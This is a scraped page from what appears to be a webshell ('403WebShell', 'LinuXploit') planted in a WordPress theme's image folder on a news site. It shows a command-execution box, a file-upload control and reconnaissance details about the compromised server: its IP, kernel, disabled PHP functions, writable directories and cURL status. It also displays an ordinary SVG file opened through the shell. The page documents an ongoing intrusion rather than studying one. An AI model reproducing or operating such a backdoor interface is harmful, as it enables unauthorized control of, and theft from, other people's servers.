AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/images/info-bg.svg
<svg preserveAspectRatio="none" viewBox="0 0 1440 496" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1440 -5H0V425C0 425 110.5 495 360 495C766.5 495 810 425 1080 425C1300.5 425 1440 475 1440 475V-5Z" fill="#010304"/>
<path opacity="0.25" d="M1440 473.756C1440 473.756 1300.5 384 1080 384C810 384 766.5 495 360 495C110.5 495 0 410.024 0 410.024" stroke="#59569E"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 312.5 1080 312.5C810 312.5 766.5 495 360 495C110.5 495 0 306.5 0 306.5" stroke="#D34CA3"/>
<path opacity="0.25" d="M1440 475C1440 475 1303 405 1082.5 405C812.5 405 766.5 495 360 495C110.5 495 0 420 0 420" stroke="#39477F"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 181 1080 181C810 181 766.5 490 360 490C110.5 490 0 387.5 0 387.5" stroke="#F77C88"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 88.5 1080 88.5C810 88.5 766.5 490 360 490C110.5 490 0 266 0 266" stroke="#FC9F95"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 -14 1080 -14C810 -14 766.5 490 360 490C110.5 490 0 122.5 0 122.5" stroke="#FCC397"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 353 1080 353C810 353 766.5 490 360 490C110.5 490 0 215 0 215" stroke="#9A50A5"/>
<path opacity="0.25" d="M1440 475C1440 475 1300.5 259.5 1080 259.5C810 259.5 766.5 493 360 493C110.5 493 0 355 0 355" stroke="#F25192"/>
<defs>
<linearGradient id="paint0_linear" x1="0" y1="-5" x2="1440" y2="477.5" gradientUnits="userSpaceOnUse">
<stop stop-color="#061621"/>
<stop offset="1" stop-color="#21373C"/>
</linearGradient>
</defs>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit